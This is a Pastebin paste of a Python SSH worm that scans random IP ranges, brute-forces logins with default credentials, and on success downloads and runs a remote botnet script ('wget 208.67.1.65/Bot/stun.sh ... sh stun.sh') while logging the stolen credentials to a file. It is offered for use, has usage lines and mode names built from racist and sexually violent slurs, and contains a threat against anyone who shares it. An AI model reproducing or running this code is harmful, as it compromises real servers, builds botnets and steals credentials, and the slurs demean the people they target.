Advertisement
Boohdoz

Untitled

Apr 29th, 2017
158
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.80 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. # ____ _ _ _____ _
  4. # / ___| | ___ _ _ __| | ___| | __ _ _ __ ___
  5. # | | | |/ _ \| | | |/ _` | |_ | |/ _` | '__/ _ \
  6. # | |___| | (_) | |_| | (_| | _| | | (_| | | | __/
  7. # \____|_|\___/ \__,_|\__,_|_| |_|\__,_|_| \___|
  8. #
  9. #Python Commands
  10. #python cloudflare.py 500 BOATS 1 3
  11. #python cloudflare.py 500 ER 1 3
  12. #python cloudflare.py 500 B 49.144 1 3
  13. #python cloudflare.py 500 NIGGER 1 3
  14. #python cloudflare.py 500 BOATS 1 4
  15. #oython cloudflare.py 500 LUCKY3 1 4
  16. #python cloudflare.python 500 RAPE 1 3
  17. #SHARE THIS SHIT AND I WILL DO SHIT TO YOU WORST THAN YOU CAN THINK OF
  18. #Made By CloudFlare
  19.  
  20. import threading, paramiko, random, socket, time, sys
  21.  
  22. paramiko.util.log_to_file("/dev/null")
  23.  
  24. blacklist = [
  25. '127'
  26. ]
  27.  
  28. passwords = [
  29. "admin:1234"
  30. ]
  31.  
  32. if sys.argv[4] == '1':
  33. passwords = ["root:root"]
  34. if sys.argv[4] == '2':
  35. passwords = ["guest:guest"]
  36. if sys.argv[4] == '3':
  37. passwords = ["admin:1234"]
  38. if sys.argv[4] == '4':
  39. passwords = ["telnet:telnet","root:root"]
  40.  
  41. print "\x1b[0;36m*********************************\x1b[0m"
  42. print "\x1b[0;36m*\x1b[0;37m SSH Scanner On\x1b[0;36m *\x1b[0m"
  43. print "\x1b[0;36m*********************************\x1b[0m"
  44. print "\x1b[0;31mMade By \x1b[0;36m@CloudFlare\x1b[0m"
  45.  
  46.  
  47. server_ip = "192.151.149.58"
  48.  
  49.  
  50. ipclassinfo = sys.argv[2]
  51. if ipclassinfo == "A":
  52. ip1 = sys.argv[3]
  53. elif ipclassinfo == "B":
  54. ip1 = sys.argv[3].split(".")[0]
  55. ip2 = sys.argv[3].split(".")[1]
  56. elif ipclassinfo == "C":
  57. ips = sys.argv[3].split(".")
  58. num=0
  59. for ip in ips:
  60. num=num+1
  61. if num == 1:
  62. ip1 = ip
  63. elif num == 2:
  64. ip2 = ip
  65. elif num == 3:
  66. ip3 = ip
  67. class sshscanner(threading.Thread):
  68. global passwords
  69. global ipclassinfo
  70. if ipclassinfo == "A":
  71. global ip1
  72. elif ipclassinfo == "B":
  73. global ip1
  74. global ip2
  75. elif ipclassinfo == "C":
  76. global ip1
  77. global ip2
  78. global ip3
  79. def run(self):
  80. while 1:
  81. try:
  82. while 1:
  83. thisipisbad='no'
  84. if ipclassinfo == "A":
  85. self.host = ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  86. elif ipclassinfo == "B":
  87. self.host = ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  88. elif ipclassinfo == "C":
  89. self.host = ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))
  90. elif ipclassinfo == "NIGGER":
  91. br = ["179.105","179.152","189.29","189.32","189.33","189.34","189.35","189.39","189.4","189.54","189.55","189.60","189.61","189.62","189.63","189.126"]
  92. self.host = random.choice(br)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  93. elif ipclassinfo == "ER":
  94. yeet = ["122","131","161","37","186","187","31","188","201","2","200"]
  95. self.host = random.choice(yeet)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  96. elif ipclassinfo == "RAPE":
  97. lucky = ["125.27","101.109","113.53","118.173","122.170","122.180"]
  98. self.host = random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  99. elif ipclassinfo == "BOATS":
  100. lucky2 = [ "122.3","122.52","122.54","119.93","124.105","125.104","49.144","49.145","49.146" ]
  101. self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  102. elif ipclassinfo == "ECHO":
  103. lucky2 = [ "103.20","103.30","103.47","103.57" ]
  104. self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  105. elif ipclassinfo == "RANGE":
  106. self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  107. elif ipclassinfo == "INTERNET":
  108. lol = ["1"]
  109. self.host = random.choice(lol)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  110. else:
  111. self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  112. for badip in blacklist:
  113. if badip in self.host:
  114. thisipisbad='yes'
  115. if thisipisbad=='no':
  116. break
  117. username='root'
  118. password=""
  119. port = 22
  120. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  121. s.settimeout(3)
  122. s.connect((self.host, port))
  123. s.close()
  124. ssh = paramiko.SSHClient()
  125. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  126. dobreak=False
  127. for passwd in passwords:
  128. if ":n/a" in passwd:
  129. password=""
  130. else:
  131. password=passwd.split(":")[1]
  132. if "n/a:" in passwd:
  133. username=""
  134. else:
  135. username=passwd.split(":")[0]
  136. try:
  137. ssh.connect(self.host, port = port, username=username, password=password, timeout=3)
  138. dobreak=True
  139. break
  140. except:
  141. pass
  142. if True == dobreak:
  143. break
  144. badserver=True
  145. stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
  146. output = stdout.read()
  147. if "inet addr" in output:
  148. badserver=False
  149. if badserver == False:
  150. print '\x1b[0;36mINFECTING \x1b[0;37m'+self.host+' '
  151. ssh.exec_command("cd /tmp; rm *; wget 208.67.1.65/Bot/stun.sh ; chmod +x stun.sh ; sh stun.sh ; rm -f stun.sh")
  152. nigger = open("niggers.txt", "a").write(username + ":" + password + ":" + self.host + "\n")
  153. time.sleep(15)
  154. ssh.close()
  155. except:
  156. pass
  157.  
  158. for x in range(0,1500):
  159. try:
  160. t = sshscanner()
  161. t.start()
  162. except:
  163. pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement